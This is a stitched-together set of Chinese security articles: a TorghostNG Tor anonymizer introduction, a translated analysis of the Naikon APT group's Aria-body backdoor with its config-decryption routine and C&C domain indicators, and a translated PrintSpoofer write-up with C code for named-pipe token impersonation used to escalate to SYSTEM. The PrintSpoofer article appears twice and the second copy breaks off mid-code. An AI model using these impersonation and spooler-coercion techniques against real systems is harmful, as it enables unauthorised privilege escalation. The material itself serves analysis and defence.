TorghostNG

TorghostNG是一款功能强大的网络流量匿名化工具,该工具基于Python3开发,并对TorGhost工具进行了重构。TorghostNG的匿名化功能通过Tor网络实现,可以帮助广大研究人员让自己所有的网络通信流量匿名化。

目前,该工具已在Kali Linux和Manjaro等平台上进行过测试。

注意事项

1、由于该工具基于Tor网络实现,即使你通过其他方法绕过了某种限制,BitTorrent流量仍然可能会被iptable屏蔽。不过,完全屏蔽所有的torrent流量也是不可能的。

2、出于安全因素考虑,BitTorrent将会禁用IPv6来阻止IPv6流量泄露。

工具安装

TorghostNG当前支持下列系统平台:

基于Arch Linux的GNU/Linux发行版;

基于Debian/Ubuntu的GNU/Linux发行版;

基于Fedora、CentOS, RHEL、openSUSE的GNU/Linux发行版;

-Solus OS

-Void Linux

-Slackware

安装TorghostNG,请打开终端窗口,并输入下列命令:

git clone https://github.com/githacktools/TorghostNG

cd TorghostNG

sudo python3 install.py

sudo torghostng

但如果使用的是Slackware,那你则需要使用下列命令来运行TorghostNG:

sudo python3 torghostng.py

工具帮助信息

OPTIONS:

  -h, --help      Show this help message and exit

  -s, --start     Start connecting to Tor

  -x, --stop      Stop connecting to Tor

  -r, --renew     Renew the current Tor circuit

  -id COUNTRY ID  Connect to Tor exit node of a specific country. Go to CountryCode.org to search country ID

  -mac INTERFACE  Randomly change MAC address. Use 'ifconfig' to show interface devices

  -c, --checkip   Check your current IPv4 address

  --dns           Use this to fix DNS when website address can't be resolved

  -l, --language  Change the display language. English is the default

  --list          Show the available languages list

  -u, --update    Check for update

  --nodelay       Disable delay time

在运行工具的同时,你还可以结合下列选项一起使用:

torghostng -s -m INTERFACE: 在建立连接之前修改MAC地址;

torghostng -c -m INTERFACE: 检查IP地址并修改MAC地址;

torghostng -s -x: 连接至Tor;

工具更新

广大用户可以使用下列命令更新TorghostNG:

torghostng -u

工具运行截图

1、修改MAC地址:torghostng -m INTERFACE

2.png

2、检查IP地址:torghostng -c

3.png

3、与Tor断开连接:torghostng -x

4.png

4、连接至特定国家Tor节点:torghostng -id COUNTRY ID

5.png

5、卸载TorghostNG:python3 install.py

项目地址

TorghostNG:【GitHub传送门

* 参考来源:GitHackTools,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

近期Check Point发现Naikon APT组织正在对亚太地区(APAC)国家政府进行网络攻击活动,使用了名为Aria-body的新后门控制受害者的网络。本报告将详细分析Naikon APT组织在过去5年中使用的战术,技术,程序和基础设施。

目标分析

过去的十年中,Naikon APT一直目标锁定同一地区,包括澳大利亚,印度尼西亚,菲律宾,越南,泰国,缅甸和文莱,使用了名为Aria-body的后门。目标实体包括外交部,科学技术部以及政府所有的部门,攻击者会利用已被攻陷的政府组织发动攻击,来试图感染其他目标,利用受信任的已知联系人渗透到新的组织中并扩展网络。

该小组目的是收集情报并监视该国政府,攻击者会从政府部门内受感染的计算机和网络中查找和收集特定文档,从可移动驱动器中提取数据,屏幕截图和键盘记录。该组织将受感染的内部服务器用作攻击和控制服务器,防止被目标发现。

感染链

研究过程中发现几种不同的感染链用于传播Aria-body。最开始时发现从亚太地区政府使馆发送给澳大利亚州政府的恶意电子邮件,该电子邮件名为The Indians Way.doc,含有恶意软件RoyalRoad,加载程序尝试从spool.jtjewifyn.com下载并执行下一阶段的有效负载。

观察到了几种不同的感染方法:

1、RoyalRoad漏洞利用的RTF文件

2、包含合法可执行文件和恶意DLL的存档文件,利用Outlook和Avast代理加载恶意DLL

3、直接通过可执行文件加载程序

基础设施

最近的行动中,攻击者C&C服务器使用了相同的托管和DNS服务,在多个域中重用了相同的IP地址:

域名使用情况:

工具分析

加载程序分析

自2017年以来,Aria-body加载程序功能未发生重大变化,加载程序负责以下任务:

1、通过启动文件夹或注册表建立持久性

2、将自身注入到另一个进程,例如rundll32.exe和dllhost.exe

3、解密两个Blob:“导入表”和“加载器配置”

4、使用DGA算法

5、与C&C地址通信,检索下一阶段有效载荷

6、解密收到的有效载荷DLL(Aria-body后门)

7、加载并执行DLL的导出功能

Configuration & DGA

加载程序配置经过加密,包含以下信息:C&C域,端口,用户代理和域生成算法(DGA)种子。 如果种子不为零,加载程序将根据种子和通信日期使用DGA生成C&C域。 加载程序的配置使用以下算法解密:

def decrypt_buf(buf): k = 8 j = 5 for i in range(len(buf)): xor_byte = (k + j) % 0xff buf[i] = buf[i] ^ xor_byte j = k k = xor_byte

C&C服务器

获取C&C域后,加载程序会与下载下一阶段程序。 攻击者每天在有限的窗口期操作C&C服务器,每天仅在线几个小时。加载程序的最后一个阶段,接收XOR密钥对下载的RAT进行解密。

Aria-body RAT分析

下载的有效负载是一个自制RAT,称为Aria-body,有32位和64位两种。RAT功能包括:

1、创建/删除文件/目录

2、截屏

3、搜索文件

4、使用ShellExecute启动文件

5、枚举进程

6、收集文件的元数据

7、收集TCP和UDP表状态列表

8、关闭TCP会话

9、收集操作系统信息

10、使用checkip.amazonaws.com验证位置

Aria-body的变体还包括其他模块,例如:

1、USB数据采集模块

2、键盘记录器模块

3、反向代理模块

4、加载扩展模块

特征分析

初始化

后门包含一个导出的函数,执行程序后,它将初始化一个名为MyDerived的结构以及用于HTTP和TCP连接的结构。

信息收集

Aria-body首先在受害者的机器上收集数据,包括:主机名,计算机名,用户名,域名,Windows版本,处理器MHz,MachineGuid,公共IP。

C&C通信

通过HTTP或TCP协议与C&C服务器进行通信。 恶意软件通过程序配置标志来决定使用哪种协议。 收集的数据与XORed密码和XOR密钥一起送到C&C域:

Outlook DLL

研究中发现了非常独特的Aria-body变体,变体DLL名为outllib.dll,它是Office.rar的一部分。它没有从加载程序获得任何配置,在变体中包含了硬编码配置。

有效负载具有两个不同的C&C域:blog.toptogear [.] com、202.90.141 [.] 25,如果无法解析第一个C&C域,将使用IP地址。

归属分析

字符串相似

Aria-body后门具有几个描述恶意软件功能的调试字符串。这些调试字符串也可以在XsFunction后门中找到:

散列函数相似

XsFunction和Aria-body加载程序都使用相同的哈希算法djb2。 在XsFunction中,该函数的名称为XS02,在Aria-body中,其名称为AzManager。

代码相似

Aria-body后门中的某些功能与旧XsFunction后门中的功能相同。

基础设施重叠

四台C&C服务器与mopo3 [.] net域共享IP,该域解析IP为与卡巴斯基报告中提到的域myanmartech.vicp [.] net相同。

总结

从这次活动中发现了Naikon APT组织针对亚太地区政府的最新工具,攻击者利用了RoyalRoad RTF等通用工具集和特制的后门Aria-body。Naikon APT组织过去5年中一直处于活动中,通过利用新服务器,不断变化加载程序,无文件加载以及新后门程序阻止自身被发现分析追溯。

附录

Aria-body支持命令集

DGA

IOC

realteks.gjdredj[.]com

spool.jtjewifyn[.]com

blog.toptogear[.]com

mon-enews[.]com

wdrfjkg129[.]com

n91t78dxr3[.]com

kyawtun119[.]com

www.ajtkgygth[.]com

news.nyhedmgtxck[.]com

dathktdga[.]com

www.rrgwmmwgk[.]com

dns.jmrmfitym[.]com

www.kyemtyjah[.]com

rad.geewkmy[.]com

cpc.mashresearchb[.]com

www.qisxnikm[.]com

dns.seekvibega[.]com

sugano.trictalmk[.]com

bbs.forcejoyt[.]com

*参考来源:checkpoint,由Kriston编译,转载请注明来自FreeBuf.COM

概述

在过去的几年中,类似于RottenPotato、RottenPotatoNG或Juicy Potato这样的一些Windows特权模拟工具,已经在攻防安全社区中非常流行。但是,随着操作系统不断的升级,其中也有意或无意地降低了在Windows 10和Windows Service 2016/2019上使用这些工具的效果。而我们本次分析的是一个全新的工具,将有助于渗透测试人员再次轻松地利用这些特权。

需要请大家注意的是,在这里我们介绍的是一种新的工具,而不是新的技术。实际上,我将配合该工具,讨论两种可以结合在一起的知名技术,从而实现从本地服务/网络服务到系统的特权提升。目前,可能并没有其他研究人员公开讨论过这种使用的特殊技巧。

关于模拟特权

要介绍模拟特权,我想首先引用@decoder_it的一句话:“如果你具有了SeAssignPrimaryToken或SeImpersonate特权,那么你就具有了SYSTEM的权限”。显然,这句话说得太过简单,但事实也并非遥不可及。

这两个特权确实非常强大,通过这两个特权,我们可以在其他用户的上下文中运行代码,甚至创建新的进程。如果我们拥有SeImpersonatePrivilege特权,就可以调用CreateProcessWithToken();如果我们拥有SeAssignPrimaryTokenPrivilege特权,就可以调用CreateProcessAsUser()。

在讨论这两个特定的函数,我们首先来看看标准的CreateProcess()函数是什么样的:

1.png

前两个参数可以让我们指定要执行的应用程序或命令行。然后,可以调整许多设置,以自定义环境和子进程的安全上下文。最后一个参数是对PROCESS_INFORMATION结构的引用,该函数将在成功执行后返回。其中,包含目标进程和线程的句柄。

现在,让我们来看一下CreateProcessWithToken()和CreateProcessAsUser():

2.png

我们看到,这两个函数与标准的CreateProcess()函数并没有太大的区别。但是,它们都需要令牌的句柄。根据文档,hToken必须是“代表用户的主要令牌的句柄”。在文档中还写着,“要获取代表指定用户的主令牌,[...]我们可疑调用DuplicateTokenEx函数将模拟令牌转换为主令牌。这将允许模拟客户端的服务器应用程序创建具有客户端安全上下文的进程。”

当然,在官方文档之中,并没有告诉我们首先要如何获取这个令牌,因为获取令牌并非是这两个函数的功能。但是,文档告诉了我们应该在什么类型的场景中使用它们。这些函数允许服务器应用程序在客户端的安全上下文中创建进程。比如,对于公开RPC/COM接口的Windows服务,这确实是非常普遍的一种实现方式。当我们调用由高特权帐户运行的服务公开的RPC函数时,该服务就有可能调用RpcImpersonateClient(),以在我们的安全上下文中运行某些代码,从而降低了特权提升漏洞的风险。

总而言之,只要我们拥有SeImpersonatePrivilege或SeAssignPrimaryTokenPrivilege特权,就可以在另一个用户的安全上下文中创建一个进程。不过,我们需要的是该用户的令牌。但问题在于——如何使用自定义服务器应用程序来捕获到此类令牌呢?

使用命名管道模拟用户

Potato家族的漏洞利用工具都是基于相同的思想——将网络身份验证从回环TCP终端中继到NTLM协商程序。为了完成这一任务,工具利用IStorage COM接口的某些特殊功能,使NT AUTHORITY\SYSTEM帐户连接,并对其控制的RPC服务器进行身份验证。

在身份验证过程中,所有消息都会在客户端(这里是SYSTEM帐户)与本地NTLM协商程序之间中继。这个协商器只是几个Windows API调用(例如:AcquireCredentialsHandle()和AcceptSecurityContext())的组合,它们通过ALPC与lsass进程进行交互。最后,如果一切顺利,我们将获得原本需要的SYSTEM令牌。

遗憾的是,由于某些核心的更改,该技术目前不再适用于Windows 10操作系统,因为现在仅在TCP/135端口上允许从目标服务到“Storage”的基础COM连接。

我们前面提到过的@decoder_it曾发表过一篇文章,在文章中表示,实际上可以绕过该限制,但是得到的令牌不能用于模拟。

现在,我们来盘点一下有哪些替代方案?RPC并不是在这种中继方案中唯一可以使用的协议,但是我们将不做过多的展开。相反,我们想讨论一种涉及管道的古老技术。正如我在前言中所述,我希望能按照自己的方式来介绍事务,即使大多数人都觉得这些点已经掌握了,但实际上还是能从中掌握到一些基本知识。

根据官方文档记载,“管道是用于通信的进程的共享内存中的一部分。管道服务器是创建管道的进程,而管道客户端则是连接到管道的进程。一个进程负责将信息写入到管道,然后另一个进程从管道读取信息。”

换句话说,管道是在Windows上实现进程间通信(IPC)的众多方式之一,其他方式还有RPC、COM或者套接字。

管道可以是两种类型之一:

1、匿名管道:匿名管道通常在父进程和子进程之间传输数据。它们通常用于在子进程与其父进程之间重定向标准的输入和输出。

2、命名管道:命名管道可以在不相关的进程之间传输数据,前提是管道的权限允许对客户端进程具有适当的访问权限。

在第一部分中,我提到了RpcImpersonateClient()函数。RPC服务器可以使用它来模拟RPC客户端。事实证明,命名管道与ImpersonateNamedPipeClient()函数具有相同的功能。所以接下来,我们就首先对命名管道进行一些模拟尝试。

也许上面所解释的内容过于理论化了,因此我们需要一个具体的示例。我们以如下代码为例:

HANDLE hPipe = INVALID_HANDLE_VALUE;
LPWSTR pwszPipeName = argv[1];
SECURITY_DESCRIPTOR sd = { 0 };
SECURITY_ATTRIBUTES sa = { 0 };
HANDLE hToken = INVALID_HANDLE_VALUE;
 
if (!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION))
{
    wprintf(L"InitializeSecurityDescriptor() failed. Error: %d - ", GetLastError());
    PrintLastErrorAsText(GetLastError());
    return -1;
}
 
if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"D:(A;OICI;GA;;;WD)", SDDL_REVISION_1, &((&sa)->lpSecurityDescriptor), NULL))
{
    wprintf(L"ConvertStringSecurityDescriptorToSecurityDescriptor() failed. Error: %d - ", GetLastError());
    PrintLastErrorAsText(GetLastError());
    return -1;
}
 
if ((hPipe = CreateNamedPipe(pwszPipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 2048, 2048, 0, &sa)) != INVALID_HANDLE_VALUE)
{
    wprintf(L"[*] Named pipe '%ls' listening...\n", pwszPipeName);
    ConnectNamedPipe(hPipe, NULL);
    wprintf(L"[+] A client connected!\n");
 
    if (ImpersonateNamedPipeClient(hPipe)) {
 
        if (OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken)) {
 
            PrintTokenUserSidAndName(hToken);
            PrintTokenImpersonationLevel(hToken);
            PrintTokenType(hToken);
 
            DoSomethingAsImpersonatedUser();
 
            CloseHandle(hToken);
        }
        else
        {
            wprintf(L"OpenThreadToken() failed. Error = %d - ", GetLastError());
            PrintLastErrorAsText(GetLastError());
        }
    }
    else
    {
        wprintf(L"ImpersonateNamedPipeClient() failed. Error = %d - ", GetLastError());
        PrintLastErrorAsText(GetLastError());
    }
   
    CloseHandle(hPipe);
}
else
{
    wprintf(L"CreateNamedPipe() failed. Error: %d - ", GetLastError());
    PrintLastErrorAsText(GetLastError());
}

前两个函数调用的作用是创建自定义安全描述符,这些描述符将应用于管道之中。这些函数并不是特定于管道而言的,它们在模拟中不会起作用,但我们必须要先提到它们。如同文件或注册表项一样,管道是可保护的对象。这意味着,如果我们没有在创建的命名管道上设置适当的权限,那么使用其他身份运行的客户端可能将根本无法访问它。在这里,我通过授予Everyone对管道的通用访问权限的方式,来得到一种简单的方法。

下面是通过命名管道模拟客户端的过程中所需要的函数:

1、CreateNamedPipe():这个函数名称就足以说明一切。作为服务器应用程序,该函数允许我们创建名称格式为\\.\pipe\PIPE_NAME的命名管道。

2、ConnectNamedPipe():创建管道后,该函数用于接受连接。除非指定了另外的其他参数,否则默认情况下该调用是同步的,因此线程将保持暂停,直至客户端连接为止。

3、ImpersonateNamedPipeClient():这里,就是发生奇迹的地方!

当然,某些规则适用于使用最后一个函数的场景。根据文档中的说明,下面是其中两种可以允许冒充的情况:

1、经过身份验证后,其身份与调用方相同。换句话说,我们自己可以冒充自己。但出乎意料的是,在某些漏洞利用场景中,这种情况实际上是有用的。

2、调用方拥有SeImpersonatePrivilege特权。而这一种,就是我们目前的情况。

在执行代码之前,我还做了最后一件事。我实现了一些函数,这些函数可以打印有关客户端令牌的一些信息,并且我还实现了一个名为DoSomethingAsImpersonatedUser()的函数,该函数的目的是检查我们是否可以在客户端上下文中实际执行代码。在这篇文章的最后,我们将涉及这一部分内容。

PrintTokenUserSidAndName(hToken);
PrintTokenImpersonationLevel(hToken);
PrintTokenType(hToken);
DoSomethingAsImpersonatedUser();

接下来,我们可以行动了。由于默认情况下管理员都具有SeImpersonatePrivilege特权,因此以本地管理员身份启动服务器应用程序后,我就使用普通帐户,尝试写入命名管道。

3.gif

在客户端连接之后,我们将得到模拟级别为2的模拟令牌,即SecurityImpersonation。另外,DoSomethingAsImpersonatedUser()也成功返回了,这意味着我们可以在这个客户端的安全上下文中运行任意代码。

在这里,也许大家注意到,我使用的路径是\\localhost\pipe\foo123,而不是\\.\pipe\foo123,这是管道的真实名称。为了模拟成功,服务器必须首先从管道读取数据。如果客户端使用\\.\pipe\foo123作为管道的打开路径,则不会写入任何数据,并且ImpersonateNamedPipeClient()将会失败。另一方面,如果客户端使用\\HOSTNAME\pipe\foo123打开管道,则ImpersonateNamedPipeClient()将会成功。上述结果是经过我们尝试获得的结论,其根本原因目前尚不清楚。

4.png

总而言之,我们现在知道,为了在另一个用户的上下文中创建进程,我们需要有一个令牌。然后,我们看到,由于服务器应用程序利用了命名管道来模拟,因此就可以得到该令牌。到目前为止,这是一个常识,但问题在于——如何欺骗NT AUTHORITY\SYSTEM帐户连接到我们的命名管道呢?

获取SYSTEM Token

去年年底,@decoder_it发表了一篇文章,标题为《看着像土豆的豆子——如何从服务帐户提升到SYSTEM》,在该文章中,作者演示了如何利用后台智能传输服务(BITS)在本地NTLM中继方案中获取SYSTEM令牌,该方案与Potato漏洞利用中使用的技术非常相似。@decoder_it和@splinter_code在名为RogueWinRM的工具中实现了这个技术。

尽管该方法是完全有效的,但它具有明显的缺点。它依赖于BITS在本地TCP/5985端口(默认的WinRM端口)上执行的WinRM请求。如果该端口可用,则可以创建一个恶意WinRM服务器,该服务器将回复此请求,从而捕获SYSTEM帐户的凭据。尽管WinRM服务通常在工作站上处于停止状态,但在服务器实例上却是完全相反的,因此在这种情况下将无法利用。

当这项研究的结果和相关PoC出来时,我也在寻找一种实现相同目标的通用方法——通过本地NTLM中继捕获SYSTEM令牌。尽管这并不是我的首要任务,但我确实找到了类似的技巧,但最终我们发现的技巧也具有着相同的局限性。它并不适用于大多数Windows Server安装,因此我就将其暂时搁置了。然后,在几个月后的一次聊天中,@jonaslyk给了我一个新的思路——利用打印机漏洞。

Lee Christensen(@tifkin_)利用打印机的漏洞,编写了一个名为SpoolSample的工具。根据GitHub上该工具的描述,其目的是“强制Windows主机通过MS-RPRN RPC接口向其他计算机进行身份验证”。该工具背后的思想是通过欺骗域控制器连接回配置有不受约束委派的系统,从而提供一种简单有效的机制以实现AD域环境的漏洞利用。基于这个简单的概念,攻击者可以选择两种方式进行攻击。

该漏洞利用基于对Print Spooler服务公开函数的单独RPC调用。

DWORD RpcRemoteFindFirstPrinterChangeNotificationEx(
    /* [in] */ PRINTER_HANDLE hPrinter,
    /* [in] */ DWORD fdwFlags,
    /* [in] */ DWORD fdwOptions,
    /* [unique][string][in] */ wchar_t *pszLocalMachine,
    /* [in] */ DWORD dwPrinterLocal,
    /* [unique][in] */ RPC_V2_NOTIFY_OPTIONS *pOptions)

根据文档,上述函数创建一个远程更改通知对象,该对象监视对打印机对象的更改,并使用RpcRouterReplyPrinter或RpcRouterReplyPrinterEx将更改发送到打印客户端。

那么,这些通知将如何发送给客户端呢?实际上,是通过命名管道上的RPC。我们发现,Print Spooler服务的RPC结构是通过命名管道公开的(\\.\pipe\spoolss)。

5.png

既然如此,我们来尝试一下Lee Christensen提供的PoC。

6.png

该工具最初需要我们指定两个服务器名称——一个是用于连接(域控制器)的名称,另一个是用于捕获身份验证的服务器名称,由我们来控制。在这里,我们需要连接到本地计算机,并且还要在本地计算机上接收通知。但问题在于,如果这么做,通知将会发送到\\DESKTOP-RTFONKM\pipe\spoolss。该管道由NT AUTHORITY\SYSTEM控制,我们无法创建自己的同名管道,这样没有任何意义。另一方面,如果我们指定任意路径并附加任意字符串,则调用将会在路径验证检查时出现问题。

不过,@jonaslyk与我分享了另一个技巧。如果主机名包含/,它实际上将能够通过路径验证检查,但是在计算要连接的命名管道的路径时,规范化会将其转换为\。这样一来,我们就可以部分控制服务器所使用的路径。

7.gif

如上图所示,服务正在使用的最终路径现在就变为了\\DESKTOP-RTFONKM\foo123\pipe\spoolss。当然,这不是命名管道的有效路径,但如果稍作调整,我们就可以使其成为有效路径。如果我们在RPC调用中指定\\DESKTOP-RTFONKM/pipe/foo123值,那么该服务会将其转换为\\DESKTOP-RTFONKM\pipe\foo123\pipe\spoolss,而这是非常有用的!

在我们的服务器应用程序上,可以快速进行测试验证。下面的截图表明我们成功建立了连接,并且可以成功模拟NT AUTHORITY\SYSTEM。

8.png

使用一个名为PrintSpoofer的工具,我们成功实现了这一技巧。但是还有一个前提条件,就是需要SeImpersonatePrivilege的特权。我已经在Windows 8.1、Windows Service 2012 R2、Windows 10和Windows Server 2019的默认版本上成功进行了测试。在某些情况下,在Windows的较早版本上可能也可以正常工作。

下面的截图中展示了在实际场景中该工具的执行情况。在Windows Server 2019上会打开一个Shell,作为CDPSvc服务的子进程。这个示例非常值得关注,因为该服务是以NT AUTHORITY\LOCAL SERVICE的身份运行,只有两个特权——SeChangeNotifyPrivilege和SeImpersonatePrivilege。

9.png

如何防范命名管道模拟

首先,命名管道模拟是可以采取防范措施的。我们可以指定禁止模拟,或者禁止服务器在安全上下文中运行代码。实际上,我在上一篇文章中已经提及过一个相关的实现,该保护由Microsoft实施,用于修复这个“漏洞”。

在进一步说明前,我们需要一个虚拟客户端应用程序与命名管道服务器进行通信,这将更好地帮助我说明后续的内容。命名管道是文件系统的一部分,那么我们如何连接到管道呢?答案是——可以通过简单地CreateFile()函数调用。

HANDLE hFile = CreateFile(
    argv[1],                        // pipe name
    GENERIC_READ | GENERIC_WRITE,   // read and write access
    0,                              // no sharing
    NULL,                           // default security attributes
    OPEN_EXISTING,                  // opens existing pipe
    0,                              // default attributes
    NULL                            // no template file
);
 
if (hFile != INVALID_HANDLE_VALUE) {
    wprintf(L"[+] CreateFile() OK\n");
    CloseHandle(hFile);
} else {
    wprintf(L"[-] CreateFile() failed. Error: %d - ", GetLastError());
}

如果运行此代码,就可以看到我们在命名管道上获得了连接,并且客户端已经成功模拟。毫无疑问,因为我使用默认值调用了CreateFile()。

10.png

但是,在CreateFile()函数的文档中,我们可以看到有很多属性可以被指定。特别是,如果设置了SECURITY_SQOS_PRESENT标志,我们就可以控制令牌的模拟级别。

11.png

因此,在虚拟客户端应用程序的源代码中,我修改了如下的CreateFile()函数调用。其SECURITY_SQOS_PRESENT和SECURITY_IDENTIFICATION值现在被指定为是dwFlagsAndAttributes参数的一部分。

HANDLE hFile = CreateFile(
    argv[1],                        // pipe name
    GENERIC_READ | GENERIC_WRITE,   // read and write access
    0,                              // no sharing
    NULL,                           // default security attributes
    OPEN_EXISTING,                  // opens existing pipe
    SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, // impersonation level: SecurityIdentification
    NULL                            // no template file
);

12.png

我们仍然能够获得有关令牌的一些信息,但是这一次,如果我们尝试在客户端的安全上下文中执行代码,就会返回错误:未提供所需的模拟级别,或者提供的模拟级别无效。确实,令牌的模拟级别现在为SecurityIdentification,这可以防止我们的恶意服务器应用程序完全模拟客户端。

尽管这样,但其中仍然存在一些理论上的问题,我之前说过,Microsoft之所以实施这个保护措施,是为了修复漏洞。在上一篇文章中,我讨论了服务跟踪功能中存在的漏洞,而该功能可以让我们通过在HKLM配置单元中编辑注册表项的方式,收集有关特定服务的某些调试信息。任何经过身份验证的用户都可以在FileDirectory值中指定日志文件的目标文件夹。例如,如果指定C:\test,则调试后的程序将写入到C:\test\MODULE.log,并且该操作在目标应用程序或服务的安全上下文中执行。

由于我们可以控制文件路径,因此我们也可以直接将管道名称用作目标目录的路径,而这就导致了CVE-2010-2554(MS10-059)漏洞的存在。

@cesarcer已经将该漏洞报告给Microsoft,他在名为Chimichurri的工具中实现了这一漏洞利用。我暂时没有找到源代码,但是我们可以在这个存储库中找到这一工具。这样一来,将会使NT AUTHORITY\SYSTEM运行的服务连接到恶意命名管道,从而捕获其令牌。只要我们拥有SeImpersonatePrivilege,就可以利用这种方法。

接下来,我们来尝试在Windows 10上进行同样的操作会发生什么:

13.png

尽管我们已经拥有了SeImpersonatePrivilege特权,但是当我们尝试在SYSTEM帐户的上下文执行代码时,会得到完全相同的报错。我们查看rtutils.dll中用于打开日志文件的CreateFile()调用,可以看到以下内容:

14.png

十六进制值0x110080实际上是SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION | FILE_ATTRIBUTE_NORMAL。

需要特别说明的是,这种防护方式并不是绝对安全的,只会使攻击者的攻击过程变得更加困难。

最终,Microsoft接收了这一漏洞,并为其分配了CVE编号,甚至还发布了详细的安全公告。但时过境迁,如今,如果我们尝试报告这样的漏洞,Microsoft会答复说,通过利用模拟特权来提升特权是一种预期的行为。他们可能会觉得,这是一场无法取胜的战斗,但事实并非如此。正如James Forshaw曾经在Twitter上所说的:“他们认为,如果你具有模拟特权,那么你也可能会是SYSTEM。他们可能会使用户(攻击者)更难以获得合适的Token,但这就像一场猫鼠游戏,因为总有其他地方可以让我们来利用。”

总结

在这篇文章中,我说明了如何在Windows 10上利用模拟特权来在SYSTEM帐户的上下文中执行代码。有很多作为本地/网络服务运行的Windows服务都具有这些功能。不过,有的时候也没有。在这种情况下,我们仍然可以使用FullPowers工具,或者按照James Forshaw的方法来得到模拟特权。

最后一点,我想对@jonaslyk表示特别感谢。在过去的几周中,我有幸多次与他聊天,我不得不说,他一直乐于分享和解释一些很棒的技巧和窍门。这些对话成为了我们集思广益的来源,转换为了非常富有成效的结果。

相关资源

[1] GitHub - itm4n / PrintSpoofer

[2] Decoder:看着像土豆的豆子——如何从服务帐户提升到SYSTEM

[3] GitHub - antonioCoco / RogueWinRM(从服务帐户到系统的Windows本地特权提升)

[4] GitHub - leechristensen / SpoolSample

[5] Tyranid's Lair - Sharing a Logon Session a Little Too Much

概述

在过去的几年中,类似于RottenPotato、RottenPotatoNG或Juicy Potato这样的一些Windows特权模拟工具,已经在攻防安全社区中非常流行。但是,随着操作系统不断的升级,其中也有意或无意地降低了在Windows 10和Windows Service 2016/2019上使用这些工具的效果。而我们本次分析的是一个全新的工具,将有助于渗透测试人员再次轻松地利用这些特权。

需要请大家注意的是,在这里我们介绍的是一种新的工具,而不是新的技术。实际上,我将配合该工具,讨论两种可以结合在一起的知名技术,从而实现从本地服务/网络服务到系统的特权提升。目前,可能并没有其他研究人员公开讨论过这种使用的特殊技巧。

关于模拟特权

要介绍模拟特权,我想首先引用@decoder_it的一句话:“如果你具有了SeAssignPrimaryToken或SeImpersonate特权,那么你就具有了SYSTEM的权限”。显然,这句话说得太过简单,但事实也并非遥不可及。

这两个特权确实非常强大,通过这两个特权,我们可以在其他用户的上下文中运行代码,甚至创建新的进程。如果我们拥有SeImpersonatePrivilege特权,就可以调用CreateProcessWithToken();如果我们拥有SeAssignPrimaryTokenPrivilege特权,就可以调用CreateProcessAsUser()。

在讨论这两个特定的函数,我们首先来看看标准的CreateProcess()函数是什么样的:

1.png

前两个参数可以让我们指定要执行的应用程序或命令行。然后,可以调整许多设置,以自定义环境和子进程的安全上下文。最后一个参数是对PROCESS_INFORMATION结构的引用,该函数将在成功执行后返回。其中,包含目标进程和线程的句柄。

现在,让我们来看一下CreateProcessWithToken()和CreateProcessAsUser():

2.png

我们看到,这两个函数与标准的CreateProcess()函数并没有太大的区别。但是,它们都需要令牌的句柄。根据文档,hToken必须是“代表用户的主要令牌的句柄”。在文档中还写着,“要获取代表指定用户的主令牌,[...]我们可疑调用DuplicateTokenEx函数将模拟令牌转换为主令牌。这将允许模拟客户端的服务器应用程序创建具有客户端安全上下文的进程。”

当然,在官方文档之中,并没有告诉我们首先要如何获取这个令牌,因为获取令牌并非是这两个函数的功能。但是,文档告诉了我们应该在什么类型的场景中使用它们。这些函数允许服务器应用程序在客户端的安全上下文中创建进程。比如,对于公开RPC/COM接口的Windows服务,这确实是非常普遍的一种实现方式。当我们调用由高特权帐户运行的服务公开的RPC函数时,该服务就有可能调用RpcImpersonateClient(),以在我们的安全上下文中运行某些代码,从而降低了特权提升漏洞的风险。

总而言之,只要我们拥有SeImpersonatePrivilege或SeAssignPrimaryTokenPrivilege特权,就可以在另一个用户的安全上下文中创建一个进程。不过,我们需要的是该用户的令牌。但问题在于——如何使用自定义服务器应用程序来捕获到此类令牌呢?

使用命名管道模拟用户

Potato家族的漏洞利用工具都是基于相同的思想——将网络身份验证从回环TCP终端中继到NTLM协商程序。为了完成这一任务,工具利用IStorage COM接口的某些特殊功能,使NT AUTHORITY\SYSTEM帐户连接,并对其控制的RPC服务器进行身份验证。

在身份验证过程中,所有消息都会在客户端(这里是SYSTEM帐户)与本地NTLM协商程序之间中继。这个协商器只是几个Windows API调用(例如:AcquireCredentialsHandle()和AcceptSecurityContext())的组合,它们通过ALPC与lsass进程进行交互。最后,如果一切顺利,我们将获得原本需要的SYSTEM令牌。

遗憾的是,由于某些核心的更改,该技术目前不再适用于Windows 10操作系统,因为现在仅在TCP/135端口上允许从目标服务到“Storage”的基础COM连接。

我们前面提到过的@decoder_it曾发表过一篇文章,在文章中表示,实际上可以绕过该限制,但是得到的令牌不能用于模拟。

现在,我们来盘点一下有哪些替代方案?RPC并不是在这种中继方案中唯一可以使用的协议,但是我们将不做过多的展开。相反,我们想讨论一种涉及管道的古老技术。正如我在前言中所述,我希望能按照自己的方式来介绍事务,即使大多数人都觉得这些点已经掌握了,但实际上还是能从中掌握到一些基本知识。

根据官方文档记载,“管道是用于通信的进程的共享内存中的一部分。管道服务器是创建管道的进程,而管道客户端则是连接到管道的进程。一个进程负责将信息写入到管道,然后另一个进程从管道读取信息。”

换句话说,管道是在Windows上实现进程间通信(IPC)的众多方式之一,其他方式还有RPC、COM或者套接字。

管道可以是两种类型之一:

1、匿名管道:匿名管道通常在父进程和子进程之间传输数据。它们通常用于在子进程与其父进程之间重定向标准的输入和输出。

2、命名管道:命名管道可以在不相关的进程之间传输数据,前提是管道的权限允许对客户端进程具有适当的访问权限。

在第一部分中,我提到了RpcImpersonateClient()函数。RPC服务器可以使用它来模拟RPC客户端。事实证明,命名管道与ImpersonateNamedPipeClient()函数具有相同的功能。所以接下来,我们就首先对命名管道进行一些模拟尝试。

也许上面所解释的内容过于理论化了,因此我们需要一个具体的示例。我们以如下代码为例:

HANDLE hPipe = INVALID_HANDLE_VALUE;
LPWSTR pwszPipeName = argv[1];
SECURITY_DESCRIPTOR sd = { 0 };
SECURITY_ATTRIBUTES sa = { 0 };
HANDLE hToken = INVALID_HANDLE_VALUE;
 
if (!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION))
{
    wprintf(L"InitializeSecurityDescriptor() failed. Error: %d - ", GetLastError());
